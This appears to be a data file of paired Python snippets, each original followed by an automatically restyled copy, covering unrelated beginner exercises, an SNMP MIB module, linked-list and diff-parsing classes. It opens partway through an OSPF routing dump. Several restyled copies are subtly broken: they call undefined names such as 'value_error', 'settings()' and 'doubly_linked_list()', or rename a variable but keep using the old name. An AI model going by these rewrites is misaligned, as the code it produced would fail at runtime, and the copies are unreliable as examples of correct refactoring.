'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.47 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.47', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.145.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.145.1': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.154.1', 'age': 470, 'checksum': '0xcec3', 'fragment_number': 47, 'length': 116, 'lsa_id': '10.1.0.47', 'num_links': 1, 'opaque_id': 47, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.51 192.168.154.1': {'adv_router': '192.168.154.1', 'lsa_id': '10.1.0.51', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.106.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.106.1': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.154.1', 'age': 450, 'checksum': '0xd8b3', 'fragment_number': 51, 'length': 116, 'lsa_id': '10.1.0.51', 'num_links': 1, 'opaque_id': 51, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.0.55 192.168.4.1': {'adv_router': '192.168.4.1', 'lsa_id': '10.1.0.55', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.196.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.196.1': {}}, 'max_bandwidth': 2500000000, 'max_reservable_bandwidth': 1874999936, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 2, 'unreserved_bandwidths': {'0 1874999936': {'priority': 0, 'unreserved_bandwidth': 1874999936}, '1 1874999936': {'priority': 1, 'unreserved_bandwidth': 1874999936}, '2 1874999936': {'priority': 2, 'unreserved_bandwidth': 1874999936}, '3 1874999936': {'priority': 3, 'unreserved_bandwidth': 1874999936}, '4 1874999936': {'priority': 4, 'unreserved_bandwidth': 1874999936}, '5 1874999936': {'priority': 5, 'unreserved_bandwidth': 1874999936}, '6 1874999936': {'priority': 6, 'unreserved_bandwidth': 1874999936}, '7 1874999936': {'priority': 7, 'unreserved_bandwidth': 1874999936}}}}}}, 'header': {'adv_router': '192.168.4.1', 'age': 510, 'checksum': '0x3372', 'fragment_number': 55, 'length': 116, 'lsa_id': '10.1.0.55', 'num_links': 1, 'opaque_id': 55, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.1.11 192.168.205.1': {'adv_router': '192.168.205.1', 'lsa_id': '10.1.1.11', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.81.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.81.2': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.205.1', 'age': 447, 'checksum': '0x6537', 'fragment_number': 267, 'length': 116, 'lsa_id': '10.1.1.11', 'num_links': 1, 'opaque_id': 267, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}, '10.1.1.15 192.168.205.1': {'adv_router': '192.168.205.1', 'lsa_id': '10.1.1.15', 'ospfv2': {'body': {'opaque': {'link_tlvs': {1: {'admin_group': '0x0', 'link_id': '192.168.106.2', 'link_name': 'broadcast network', 'link_type': 2, 'local_if_ipv4_addrs': {'192.168.106.2': {}}, 'max_bandwidth': 5000000000, 'max_reservable_bandwidth': 3749999872, 'remote_if_ipv4_addrs': {'0.0.0.0': {}}, 'te_metric': 1, 'unreserved_bandwidths': {'0 3749999872': {'priority': 0, 'unreserved_bandwidth': 3749999872}, '1 3749999872': {'priority': 1, 'unreserved_bandwidth': 3749999872}, '2 3749999872': {'priority': 2, 'unreserved_bandwidth': 3749999872}, '3 3749999872': {'priority': 3, 'unreserved_bandwidth': 3749999872}, '4 3749999872': {'priority': 4, 'unreserved_bandwidth': 3749999872}, '5 3749999872': {'priority': 5, 'unreserved_bandwidth': 3749999872}, '6 3749999872': {'priority': 6, 'unreserved_bandwidth': 3749999872}, '7 3749999872': {'priority': 7, 'unreserved_bandwidth': 3749999872}}}}}}, 'header': {'adv_router': '192.168.205.1', 'age': 457, 'checksum': '0x4765', 'fragment_number': 271, 'length': 116, 'lsa_id': '10.1.1.15', 'num_links': 1, 'opaque_id': 271, 'opaque_type': 1, 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000002', 'type': 10}}}}}}}}}}, '2': {}}}}}}}
# Right justify a string to column 70 of the screen def rightjustify(sig): full_line = "" num_chars = len(sig) blank = 70 - num_chars full_line += " "*blank + sig pass print(full_line) rightjustify("monty")
def rightjustify(sig): full_line = '' num_chars = len(sig) blank = 70 - num_chars full_line += ' ' * blank + sig pass print(full_line) rightjustify('monty')
def decimal_to_binary(n): if n > 1: decimal_to_binary(n//2) print(n % 2, end = '') try: decimal_to_binary(int(input("Enter an Integer to Covert into Binary: "))) except ValueError: print("Input is not an integer.") print()
def decimal_to_binary(n): if n > 1: decimal_to_binary(n // 2) print(n % 2, end='') try: decimal_to_binary(int(input('Enter an Integer to Covert into Binary: '))) except ValueError: print('Input is not an integer.') print()
n = input() my_set = set() for item in input().split(): my_set.add(item) m = input() for item in input().split(): if item in my_set: print(1) else: print(0)
n = input() my_set = set() for item in input().split(): my_set.add(item) m = input() for item in input().split(): if item in my_set: print(1) else: print(0)
class Observable: def __init__(self): self._observers = [] def register(self, observer): if observer not in self._observers: self._observers.append(observer) def unregister(self, observer): if observer in self._observers: self._observers.remove(observer) def unregister_all(self): if self._observers: del self._observers[:] def update_observers(self, *args, **kwargs): for observer in self._observers: # type: Observer observer.observe(*args, **kwargs) class Observer: def __init__(self, observables=None): if observables is not None: if isinstance(observables, Observable): observables.register(self) elif isinstance(observables, list): for observable in observables: observable.register(self) else: raise ValueError(f"Incorrect values passed to Observer argument observables ({type(observables)}).") def observe(self, *args, **kwargs): raise NotImplementedError
class Observable: def __init__(self): self._observers = [] def register(self, observer): if observer not in self._observers: self._observers.append(observer) def unregister(self, observer): if observer in self._observers: self._observers.remove(observer) def unregister_all(self): if self._observers: del self._observers[:] def update_observers(self, *args, **kwargs): for observer in self._observers: observer.observe(*args, **kwargs) class Observer: def __init__(self, observables=None): if observables is not None: if isinstance(observables, Observable): observables.register(self) elif isinstance(observables, list): for observable in observables: observable.register(self) else: raise value_error(f'Incorrect values passed to Observer argument observables ({type(observables)}).') def observe(self, *args, **kwargs): raise NotImplementedError
class Solution: def lengthOfLongestSubstring(self, s): dicts = {} maxlength = start = 0 for i,value in enumerate(s): if value in dicts: sums = dicts[value] + 1 if sums > start: start = sums num = i - start + 1 if num > maxlength: maxlength = num dicts[value] = i return maxlength
class Solution: def length_of_longest_substring(self, s): dicts = {} maxlength = start = 0 for (i, value) in enumerate(s): if value in dicts: sums = dicts[value] + 1 if sums > start: start = sums num = i - start + 1 if num > maxlength: maxlength = num dicts[value] = i return maxlength
# -*- coding: utf-8 # http://stackoverflow.com/questions/2082152/case-insensitive-dictionary class CaseInsensitiveDict(dict): def __setitem__(self, key, value): super(Caseinsensitivedict, self).__setitem__(key.lower(), value) def __getitem__(self, key): return super(Caseinsensitivedict, self).__getitem__(key.lower())
class Caseinsensitivedict(dict): def __setitem__(self, key, value): super(Caseinsensitivedict, self).__setitem__(key.lower(), value) def __getitem__(self, key): return super(Caseinsensitivedict, self).__getitem__(key.lower())
student_name = input() count = 0 count_fail = 0 grades = [] grade = float(input()) while count < 12: if grade < 4: count_fail += 1 if count_fail > 1: print(f"{student_name} has been excluded at {count} grade") exit() grades.append(grade) else: grades.append(grade) count += 1 if count < 12: grade = float(input()) avarage_grade = sum(grades) / len(grades) print(f"{student_name} graduated. Average grade: {avarage_grade:.2f}")
student_name = input() count = 0 count_fail = 0 grades = [] grade = float(input()) while count < 12: if grade < 4: count_fail += 1 if count_fail > 1: print(f'{student_name} has been excluded at {count} grade') exit() grades.append(grade) else: grades.append(grade) count += 1 if count < 12: grade = float(input()) avarage_grade = sum(grades) / len(grades) print(f'{student_name} graduated. Average grade: {avarage_grade:.2f}')
# # PySNMP MIB module PDN-MPE-HEALTH-AND-STATUS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/PDN-MPE-HEALTH-AND-STATUS-MIB # Produced by pysmi-0.3.4 at Wed May 1 14:39:22 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, Integer, OctetString = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "Integer", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueRangeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection", "ValueSizeConstraint") entPhysicalIndex, = mibBuilder.importSymbols("ENTITY-MIB", "entPhysicalIndex") mpe_devHealth, = mibBuilder.importSymbols("PDN-HEADER-MIB", "mpe-devHealth") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") Gauge32, MibScalar, MibTable, MibTableRow, MibTableColumn, TimeTicks, Bits, NotificationType, MibIdentifier, NotificationType, Integer32, ObjectIdentity, Counter64, iso, IpAddress, ModuleIdentity, Counter32, Unsigned32 = mibBuilder.importSymbols("SNMPv2-SMI", "Gauge32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "TimeTicks", "Bits", "NotificationType", "MibIdentifier", "NotificationType", "Integer32", "ObjectIdentity", "Counter64", "iso", "IpAddress", "ModuleIdentity", "Counter32", "Unsigned32") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") mpeDevHealthAndStatusMIBObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1)) mpeDevHealthAndStatusMIBTraps = MibIdentifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 2)) mpeDevHealthAndStatusTable = MibTable((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1, 1), ) if mibBuilder.loadTexts: mpeDevHealthAndStatusTable.setStatus('mandatory') if mibBuilder.loadTexts: mpeDevHealthAndStatusTable.setDescription("A table that contains information about an Entity's health.") mpeDevHealthAndStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1, 1, 1), ).setIndexNames((0, "ENTITY-MIB", "entPhysicalIndex")) if mibBuilder.loadTexts: mpeDevHealthAndStatusEntry.setStatus('mandatory') if mibBuilder.loadTexts: mpeDevHealthAndStatusEntry.setDescription("A list of information for an entity's health.") mpeDevSelfTestResults = MibTableColumn((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1, 1, 1, 1), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: mpeDevSelfTestResults.setStatus('mandatory') if mibBuilder.loadTexts: mpeDevSelfTestResults.setDescription('Self-test results. Self-test (or power-up test) results summarizes the test results of each CCA, where each CCA test result is separated by a semi-colon. Refer to device-specific user documentation for a complete description of the self test codes and messages.') mpeSelfTestFailure = NotificationType((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 2) + (0,1)).setObjects(("PDN-MPE-HEALTH-AND-STATUS-MIB", "mpeDevSelfTestResults")) if mibBuilder.loadTexts: mpeSelfTestFailure.setDescription("This trap signifies that the sending protocol's device has failed self test. The variable binding for this trap would be the selfTest devSelfTestResults object of the Health and Status MIB. The exact format of this display string will be well-documented in the Operational Specifications of the device.") mibBuilder.exportSymbols("PDN-MPE-HEALTH-AND-STATUS-MIB", mpeDevHealthAndStatusEntry=mpeDevHealthAndStatusEntry, mpeDevHealthAndStatusTable=mpeDevHealthAndStatusTable, mpeDevHealthAndStatusMIBTraps=mpeDevHealthAndStatusMIBTraps, mpeDevHealthAndStatusMIBObjects=mpeDevHealthAndStatusMIBObjects, mpeDevSelfTestResults=mpeDevSelfTestResults, mpeSelfTestFailure=mpeSelfTestFailure)
(object_identifier, integer, octet_string) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'Integer', 'OctetString') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (value_range_constraint, constraints_union, single_value_constraint, constraints_intersection, value_size_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueRangeConstraint', 'ConstraintsUnion', 'SingleValueConstraint', 'ConstraintsIntersection', 'ValueSizeConstraint') (ent_physical_index,) = mibBuilder.importSymbols('ENTITY-MIB', 'entPhysicalIndex') (mpe_dev_health,) = mibBuilder.importSymbols('PDN-HEADER-MIB', 'mpe-devHealth') (module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup') (gauge32, mib_scalar, mib_table, mib_table_row, mib_table_column, time_ticks, bits, notification_type, mib_identifier, notification_type, integer32, object_identity, counter64, iso, ip_address, module_identity, counter32, unsigned32) = mibBuilder.importSymbols('SNMPv2-SMI', 'Gauge32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'TimeTicks', 'Bits', 'NotificationType', 'MibIdentifier', 'NotificationType', 'Integer32', 'ObjectIdentity', 'Counter64', 'iso', 'IpAddress', 'ModuleIdentity', 'Counter32', 'Unsigned32') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') mpe_dev_health_and_status_mib_objects = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1)) mpe_dev_health_and_status_mib_traps = mib_identifier((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 2)) mpe_dev_health_and_status_table = mib_table((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1, 1)) if mibBuilder.loadTexts: mpeDevHealthAndStatusTable.setStatus('mandatory') if mibBuilder.loadTexts: mpeDevHealthAndStatusTable.setDescription("A table that contains information about an Entity's health.") mpe_dev_health_and_status_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1, 1, 1)).setIndexNames((0, 'ENTITY-MIB', 'entPhysicalIndex')) if mibBuilder.loadTexts: mpeDevHealthAndStatusEntry.setStatus('mandatory') if mibBuilder.loadTexts: mpeDevHealthAndStatusEntry.setDescription("A list of information for an entity's health.") mpe_dev_self_test_results = mib_table_column((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 1, 1, 1, 1), display_string().subtype(subtypeSpec=value_size_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: mpeDevSelfTestResults.setStatus('mandatory') if mibBuilder.loadTexts: mpeDevSelfTestResults.setDescription('Self-test results. Self-test (or power-up test) results summarizes the test results of each CCA, where each CCA test result is separated by a semi-colon. Refer to device-specific user documentation for a complete description of the self test codes and messages.') mpe_self_test_failure = notification_type((1, 3, 6, 1, 4, 1, 1795, 2, 24, 12, 7, 2) + (0, 1)).setObjects(('PDN-MPE-HEALTH-AND-STATUS-MIB', 'mpeDevSelfTestResults')) if mibBuilder.loadTexts: mpeSelfTestFailure.setDescription("This trap signifies that the sending protocol's device has failed self test. The variable binding for this trap would be the selfTest devSelfTestResults object of the Health and Status MIB. The exact format of this display string will be well-documented in the Operational Specifications of the device.") mibBuilder.exportSymbols('PDN-MPE-HEALTH-AND-STATUS-MIB', mpeDevHealthAndStatusEntry=mpeDevHealthAndStatusEntry, mpeDevHealthAndStatusTable=mpeDevHealthAndStatusTable, mpeDevHealthAndStatusMIBTraps=mpeDevHealthAndStatusMIBTraps, mpeDevHealthAndStatusMIBObjects=mpeDevHealthAndStatusMIBObjects, mpeDevSelfTestResults=mpeDevSelfTestResults, mpeSelfTestFailure=mpeSelfTestFailure)
class Eval(object): def __init__(self, param): self.__str = param.get('value') self.__length = param.get('length',100000) self.__counter = 0 def next(self): self.__counter += 1 if self.__counter > self.__length: raise StopIteration value = self.__str return {'value': value} def length(self): return self.__length
class Eval(object): def __init__(self, param): self.__str = param.get('value') self.__length = param.get('length', 100000) self.__counter = 0 def next(self): self.__counter += 1 if self.__counter > self.__length: raise StopIteration value = self.__str return {'value': value} def length(self): return self.__length
n=int(input()) a="" for i in range(1,n+1): a+=str(i) print(a)
n = int(input()) a = '' for i in range(1, n + 1): a += str(i) print(a)
#define the main def main(): i = 0 #declare an integer i x = 119.0 #declare a float x for i in range(120): #loop i from 0 to 119 if ((i%2)==0): #if i is even x += 3. #add 3 else: #if i is odd x -= 5. #subtract 5 from x s = "%3.2e" % x #make a string containing x print(s) if __name__ == "__main__": main()
def main(): i = 0 x = 119.0 for i in range(120): if i % 2 == 0: x += 3.0 else: x -= 5.0 s = '%3.2e' % x print(s) if __name__ == '__main__': main()
#class memorySetting(): global packet_db packet_db = {} # Schema # Key for access is MAC Address/IP Address # * Initially had mac address (assuming unique) as the only key # - CTF problems sometime cause a scenario of same mac with different IP address so segregated this # * Otherwise each key holds # - Mac Vendor # - Ip address global lan_hosts lan_hosts = {} global destination_hosts destination_hosts = {} global tor_nodes tor_nodes = [] global possible_tor_traffic possible_tor_traffic = [] global malicious_traffic possible_mal_traffic = [] global signatures signatures = {}
global packet_db packet_db = {} global lan_hosts lan_hosts = {} global destination_hosts destination_hosts = {} global tor_nodes tor_nodes = [] global possible_tor_traffic possible_tor_traffic = [] global malicious_traffic possible_mal_traffic = [] global signatures signatures = {}
sm = [[1, 2, 3], [8, 9, 4], [7, 6, 5]] sm2 = [[1, 2, 3, 4], [12, 13, 14, 5], [11, 16, 15, 6], [10, 9, 8, 7]] def snail(snail_map): ans = [] c = 0 nMtx = snail_map l = len(snail_map) for i in snail_map[0]: ans.append(i) for i in range(l): if i > 0 and i < l - 1: ans.append(snail_map[i][len(snail_map[i]) - 1]) snail_map[-1].reverse() for i in snail_map[-1]: ans.append(i) snail_map.reverse() for i in range(l): if i > 0 and i < l - 1: ans.append(snail_map[i][0]) for i in nMtx: for j in i: if j in ans: i.remove(j) nMtx.remove(nMtx[0]) nMtx.remove(nMtx[l - 2]) nMtx.reverse() for i in nMtx: for j in i: c = c + 1 if c > 0: if c == 1: ans.append(nMtx[0][0]) else: for i in nMtx[0]: ans.append(i) for i in range(len(nMtx)): if i > 0 and i < len(nMtx) - 1: ans.append(nMtx[i][len(nMtx[i]) - 1]) nMtx[-1].reverse() for i in nMtx[-1]: ans.append(i) nMtx.reverse() for i in range(len(nMtx)): if i > 0 and i < len(nMtx) - 1: ans.append(nMtx[i][0]) for i in nMtx: for j in i: if j in ans: i.remove(j) if len(nMtx) > 1: nMtx.remove(nMtx[0]) nMtx.reverse() c = 0 return ans print(snail(sm)) print(snail(sm2))
sm = [[1, 2, 3], [8, 9, 4], [7, 6, 5]] sm2 = [[1, 2, 3, 4], [12, 13, 14, 5], [11, 16, 15, 6], [10, 9, 8, 7]] def snail(snail_map): ans = [] c = 0 n_mtx = snail_map l = len(snail_map) for i in snail_map[0]: ans.append(i) for i in range(l): if i > 0 and i < l - 1: ans.append(snail_map[i][len(snail_map[i]) - 1]) snail_map[-1].reverse() for i in snail_map[-1]: ans.append(i) snail_map.reverse() for i in range(l): if i > 0 and i < l - 1: ans.append(snail_map[i][0]) for i in nMtx: for j in i: if j in ans: i.remove(j) nMtx.remove(nMtx[0]) nMtx.remove(nMtx[l - 2]) nMtx.reverse() for i in nMtx: for j in i: c = c + 1 if c > 0: if c == 1: ans.append(nMtx[0][0]) else: for i in nMtx[0]: ans.append(i) for i in range(len(nMtx)): if i > 0 and i < len(nMtx) - 1: ans.append(nMtx[i][len(nMtx[i]) - 1]) nMtx[-1].reverse() for i in nMtx[-1]: ans.append(i) nMtx.reverse() for i in range(len(nMtx)): if i > 0 and i < len(nMtx) - 1: ans.append(nMtx[i][0]) for i in nMtx: for j in i: if j in ans: i.remove(j) if len(nMtx) > 1: nMtx.remove(nMtx[0]) nMtx.reverse() c = 0 return ans print(snail(sm)) print(snail(sm2))
#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################################################### # # Copyright (c) 2019, Gianluca Fiore # ############################################################################### __author__ = "Gianluca Fiore" class Node(object): def __init__(self, data=None, next_node=None, prev_node=None): self.data = data self.next_node = next_node self.prev_node = prev_node # Return the current Node's value def getData(self): return self.data # Set a new value for Node def setData(self, val): self.data = val class DoublyLinkedList(object): def __init__(self, head=None, tail=None): self.head = head self.tail = tail self.size = 0 # Get the current size of the list def getSize(self): return self.size # Insert a new Node in the list def insert(self, node): if self.head is None: self.head = node self.tail = node self.size += 1 else: node.prev_node = self.tail self.tail.next_node = node self.tail = node self.size += 1 # Remove a node from the list def remove(self, node): if self.head is None: # List empty, return false return False if node.data == self.head.data: if self.head == self.tail: self.head = None self.tail = None self.size -= 1 else: self.head = self.head.next_node self.head.prev_node = None self.size -= 1 return True curr = self.head.next_node while curr is not None and node.data is not curr.data: curr = curr.next_node if curr == self.tail: self.tail = self.tail.prev_node self.tail.next_node = None self.size -= 1 return True elif curr is not None: curr.prev_node.next_node = curr.next_node curr.next_node.prev_node = curr.prev_node self.size -= 1 return True else: return False # Print all values of nodes in the list def printList(self): if self.head is None: print("Empty List") return print("List of %i nodes" % self.size) curr = self.head while curr: print(curr.getData()) curr = curr.next_node # Reverse traversal of the list def reverseTraversal(self): curr = self.tail while curr is not None: yield curr.data curr = curr.prev_node def main(): ll = DoublyLinkedList() n1 = Node(12) n2 = Node(33) n3 = Node("ggg") ll.insert(n1) ll.insert(n2) ll.insert(n3) ll.printList() if __name__ == '__main__': main()
__author__ = 'Gianluca Fiore' class Node(object): def __init__(self, data=None, next_node=None, prev_node=None): self.data = data self.next_node = next_node self.prev_node = prev_node def get_data(self): return self.data def set_data(self, val): self.data = val class Doublylinkedlist(object): def __init__(self, head=None, tail=None): self.head = head self.tail = tail self.size = 0 def get_size(self): return self.size def insert(self, node): if self.head is None: self.head = node self.tail = node self.size += 1 else: node.prev_node = self.tail self.tail.next_node = node self.tail = node self.size += 1 def remove(self, node): if self.head is None: return False if node.data == self.head.data: if self.head == self.tail: self.head = None self.tail = None self.size -= 1 else: self.head = self.head.next_node self.head.prev_node = None self.size -= 1 return True curr = self.head.next_node while curr is not None and node.data is not curr.data: curr = curr.next_node if curr == self.tail: self.tail = self.tail.prev_node self.tail.next_node = None self.size -= 1 return True elif curr is not None: curr.prev_node.next_node = curr.next_node curr.next_node.prev_node = curr.prev_node self.size -= 1 return True else: return False def print_list(self): if self.head is None: print('Empty List') return print('List of %i nodes' % self.size) curr = self.head while curr: print(curr.getData()) curr = curr.next_node def reverse_traversal(self): curr = self.tail while curr is not None: yield curr.data curr = curr.prev_node def main(): ll = doubly_linked_list() n1 = node(12) n2 = node(33) n3 = node('ggg') ll.insert(n1) ll.insert(n2) ll.insert(n3) ll.printList() if __name__ == '__main__': main()
##This program finds all the numbers between 1500 and 2700 that are ##divisible by 5 and 7. n = range(1500, 2700) newlist = [] for i in n: if (i%7==0) and (i%5==0): newlist.append(str(i)) print(newlist)
n = range(1500, 2700) newlist = [] for i in n: if i % 7 == 0 and i % 5 == 0: newlist.append(str(i)) print(newlist)
def test_augassign(): r: i32 s: i32 r = 0 r += 4 s = 5 r *= s r -= 2 s = 10 r /= s a: str a = "" a += "test"
def test_augassign(): r: i32 s: i32 r = 0 r += 4 s = 5 r *= s r -= 2 s = 10 r /= s a: str a = '' a += 'test'
''' Descripttion: version: Author: HuSharp Date: 2021-02-09 11:34:48 LastEditors: HuSharp LastEditTime: 2021-02-09 11:42:18 @Email: 8211180515@csu.edu.cn ''' def count(s, val): '''cnt the val 's nums in s >>> count([1,2,3,4,1], 1) 2 ''' total = 0 for element in s: if element == val: total += 1 return total def count_same(s): ''' >>> for x, y in [(1, 1), (2, 4), (3, 9)]: print(x, y) 1 1 2 4 3 9 ''' same_count = 0 for x, y in s: if x == y: same_count += 1 return same_count
""" Descripttion: version: Author: HuSharp Date: 2021-02-09 11:34:48 LastEditors: HuSharp LastEditTime: 2021-02-09 11:42:18 @Email: 8211180515@csu.edu.cn """ def count(s, val): """cnt the val 's nums in s >>> count([1,2,3,4,1], 1) 2 """ total = 0 for element in s: if element == val: total += 1 return total def count_same(s): """ >>> for x, y in [(1, 1), (2, 4), (3, 9)]: print(x, y) 1 1 2 4 3 9 """ same_count = 0 for (x, y) in s: if x == y: same_count += 1 return same_count
__title__ = 'krnl' __url__ = 'https://github.com/cens6r/krnl.py/' __author__ = 'Cens6r' __email__ = 'cens6r@no-email-yet' __license__ = 'MIT License' __version__ = '1.0.0' __description__ = 'Utilize the KRNL Api easily from python'
__title__ = 'krnl' __url__ = 'https://github.com/cens6r/krnl.py/' __author__ = 'Cens6r' __email__ = 'cens6r@no-email-yet' __license__ = 'MIT License' __version__ = '1.0.0' __description__ = 'Utilize the KRNL Api easily from python'
class DiffLineState: INSERT = 0 DELETE = 1 UNCHANGED = 2 class DiffLine(): def __init__(self): self.text = None self.state = DiffLineState.UNCHANGED class DiffChange(): def __init__(self): self.oldStartLine = None self.newStartLine = None self.description = None self.lines = [] class DiffFile(): def __init__(self): self.oldPath = None self.newPath = None self.pathChanged = False self.changes = [] self.diffLine = None class Settings(): headingStyle = None labelPrefix = None shouldAddLabel = None outfile = None diffPrefixRegex = None quiet = None settings = Settings() class ParseError(Exception): def __init__(self, lineNum, e): self.lineNum = lineNum self.e = e def __str__(self): return ("An error occurred while parsing your diff file at line %d" % self.lineNum) class ToTexError(Exception): def __init__(self, e): self.e = e def __str__(self): return ("An error occurred while converting your diff to TeX")
class Difflinestate: insert = 0 delete = 1 unchanged = 2 class Diffline: def __init__(self): self.text = None self.state = DiffLineState.UNCHANGED class Diffchange: def __init__(self): self.oldStartLine = None self.newStartLine = None self.description = None self.lines = [] class Difffile: def __init__(self): self.oldPath = None self.newPath = None self.pathChanged = False self.changes = [] self.diffLine = None class Settings: heading_style = None label_prefix = None should_add_label = None outfile = None diff_prefix_regex = None quiet = None settings = settings() class Parseerror(Exception): def __init__(self, lineNum, e): self.lineNum = lineNum self.e = e def __str__(self): return 'An error occurred while parsing your diff file at line %d' % self.lineNum class Totexerror(Exception): def __init__(self, e): self.e = e def __str__(self): return 'An error occurred while converting your diff to TeX'
